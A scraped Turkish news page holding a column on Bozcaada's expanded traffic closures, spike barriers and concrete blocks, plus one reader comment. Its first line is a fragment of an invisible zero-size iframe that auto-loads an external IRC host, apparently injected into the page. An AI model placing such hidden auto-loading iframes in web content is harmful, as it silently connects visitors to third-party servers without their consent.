src="http://irc.ayva.org:4031//?nick=&auto=1" width="0" height="0" marginwidth="1" marginheight="1" scrolling="no" border="0" frameborder="0">
Bugun...


bozcaada

Böyle Bir Ada Düşlememiştik
Bozcaada Mendirek Dergisi yazarı Prof. Necati İnceoğlu, genişleyen trafik düzenlemesinin ada yaşantısına etki eden olumsuz yönlerini kaleme aldı.

Böyle Bir Ada Düşlememiştik
+ -
Bozcaada Haber'e yazan İnceoğlu'nun bu yıl yeni uygulamalarla genişleyen trafik düzenlemesi hakkındaki yazısı şu şekilde:
Böyle Bir Ada Düşlememiştik 
 
İki yıldan beri Ada’da yaz aylarında yeni bir trafik düzeni uygulanmakta. Geçen yıl ana akslar ve merkez motorlu araç trafiğine kapatılmışken bu yıl uygulama genişletildi, kasabanın neredeyse tümü, içinden günde birkaç motorlu araç geçen sokaklar bile, konulan kapanlarla trafiğe kapatıldı. Birinci yılın birkaç nokta dışında başarılı sayılabilecek uygulaması bu yılki ölçeksiz genişletmeyle zora sokuldu.
 
Kent merkezlerin yayalaştırma amacıyla trafikten arındırılması, özellikle turistik yörelerde, bilinen ve uygulanan bir yöntemdir. Bunun temel amacı da merkezleri yoğun trafik keşmekeşinden kurtarmak ve yayaları rahat ettirmektir. Bu uygulamada yayalaştırma bir bütün olarak ele alınır, yalnız merkez değil, yerleşmenin tümünde “insan” faktörü, orada yaşayanların yaşam kalitesine katkı sorunu öne çıkar. Ünlü bir atasözü vardır; “kilit dostlar içindir”. Konulan kapanlar ömründe belki bir defa gelecek olan turisti etkilemez ama orada yaşayanları etkiler.
 
Yurtiçindeki ve dışındaki örneklere bakarsak trafiğe kapatılmış bölgenin kentin bütünü içinde belirli bir oranı vardır. Örneğin nüfusu onbeş milyona yaklaşan İstanbul’da yayalaştırılan İstiklal Caddesi ve birkaç yoğun alışverişi olan sokaktır. Belediyelerin temel görevi orada yaşayanların yaşam kalitesini yükseltmektir. Bozcaada ölçeğine bir yerleşmenin merkezdeki iskan alanlarının tümünün motorlu araçlarla ulaşılamaz duruma getirilmesinin, Ada sakinlerinin yaşam kalitesine ne katkıda bulunduğu tartışma konudur. Akdeniz’in Ada’ya benzeyen, Ada ölçeğindeki turistik yörelerine bakıldığında, sözünü ettiğimiz dengeli ve yalnız yoğun trafiği olan sokağın trafikten arındığı görülür. Ayrıca bu sokaklarda yaşayan yerel halkın bu bölgeye girişleri için özel çözümler üretilir. 
 
Kontrol kapanlarına gelince bunların öncelikle ve yoğun olarak kışlalarda, yüksek güvenlik gerektiren yerlerde ve yeni yeni yaygınlaşmaya başlayan çevresinden izole edilmiş “rezidans”larda  kullanıldığı görülür. Yanlışlıkla giren otomobillerin lastiklerinin patlaması yanında ayağa takılıp düşmelere ve çocuklar için hayati kazalara da neden olabilmektedir. Bütün bunların yanında bunların ve arabaların parketmesini önlemek için konulmuş sarıya boyalı beton blokların ortaya koydukları görsel kirlilik ve yaratıkları tatsız izole edilmişlik imajı da kabul edilemez ölçüdedir. Adamız bunları haketmiyor. Yayalaştırmanın çok sayıdaki örneğinde sorun, bu sokakların başına konulan girilmez levhası ile çözülmüştür. Hemen akla bu kurala uyulmaz ki sorusu gelebilir. Ama bu bir toplumsal mutabakat sorunudur, birkaç düzensizlikten sonra denetimi orada yaşayanlar yaparlar.
 
Ada’da turizmin hızlı bir gelişme gösterdiği, geleneksel ekonomik faaliyet olan tarım ve bağcılığı etkilediği bilinmektedir. Şu nokta unutulmamalıdır; Ada turizminin temel çekim ögesi, ne deniz, ne de yeme içme sektörüdür, bunların hepsi tüm Akdeniz kıyı kentlerinde bulunabilir. Ada turizminin temel çekim öğesi, Ada bağlarının yarattığı özgün ve muhteşem peyzaj ve buranın sakin ve huzurlu olmasıdır. Bu huzuru bozduğu varsayılan trafiğin çözümü öncelikli olarak, denizin karşı yakasında düzenen otoparklarla ve araba geçişlerinin denetimiyle daha doğru çözümlere ulaşacaktır.   
 
Bu uygulamanın öncelikle turizme yönelik olarak yapıldığı anlaşılmaktadır. Bu sorun, önemli turistik yörelerde karşılaşılan kritik bir tartışmayı gündeme getirir. Turizme sunulan hizmetler, yerel halkın yaşam kalitesini ne ölçüde etkiler? Turizm için orada yaşayanlardan hangi ölçüde özveride bulunmaları beklenir? Bu tür yayalaştırma gibi köklü çözümler üretilirken Ada sakinlerinin görüşleri ne ölçüde alınmalıdır?
 
Yukarıda da değinildiği gibi yaya öncelikli ulaşım bütüncül bir yaklaşım gerektirir. Merkezdeki yaya sorunu kadar, merkez dışındaki, yayaların ve bisikletlerin ulaşımı önemlidir. Ada dışındaki daracık yolların kenarında yürüyüş yapan yayaların ve bisikletlerin ulaşımı daha çevreci bir önem taşır. Şu andaki durum ise gerçek bir tehlikeyi göstermektedir. Yol kenarında ince bir bisiklet yolu, ya da kaldırım gibi bir çözüm merkezdeki yayalaşma kadar önemlidir.
 
Adamız korunması gereken bir sit alanıdır. Sit alanlarında planlama, tasarım ve diğer teknik düzenlemeler kurallara bağlanmıştır. Bunların bir bölümü yazılıdır bilinir, az rastlanılanlar ise benzer örneklere bakılarak çözümlenir. Turistik olsun olmasın bir sit alanında, kontrol kapanı, ya da sarıya boyanmış beton blokla otomobillerin park yasağına rastlanmaz. Bunlar Adanın zarif ve seçkin imajına büyük zarar vermektedir.
 
Sorun güvenlik önlemi ise bunun sonu yok. Bir zamanlar bu Ada’da bağlar arasında hiçbir engel ya da çit yoktu. Önce alçak duvarlar başladı, bunu yüksek çitler ve hepinizin bildiği gibi dikenli telli manialar izledi. Bu korunma ve mani olma sorunu bir gün, birilerinin çiftliğini bekçilerle korumaya başlamasına varırsa, Adamız artık o sevdiğimiz Ada olarak kalır mı?



Bu haber 6247 defa okunmuştur.

YORUMLAR

Erol TAŞDELEN
18-06-2018 23:11:00

Sarı sarı beton yığını ne Allah aşkına estetik yoksunluğu bu kadar mı olur ... Adayı bilmeme rağmen Hastaneye ulaşamadım ana yol ile bağlantısı kapatılmış bu bile başlı başına yasal suç. Şehrin %80'nini trafiğe kapamak hangi aklın eseri. Kendi açık hava hapistanenizi yaratmışsınız tebrik ederim. Belli ki kara alıcılar (!) kim ise Şehircilik bilgisinden ve şehir hukukundan bir haberler ...

YORUM YAZ



FACEBOOK YORUM
Yorum

bozcaada   bozcaada   bozcaada
İLGİNİZİ ÇEKEBİLECEK DİĞER HABERLER
SON HABER YORUMLARI
ÇOK OKUNAN HABERLER
SON YORUMLANANLAR HABERLER
FOTO GALERİ
VİDEO GALERİ
 YUKARI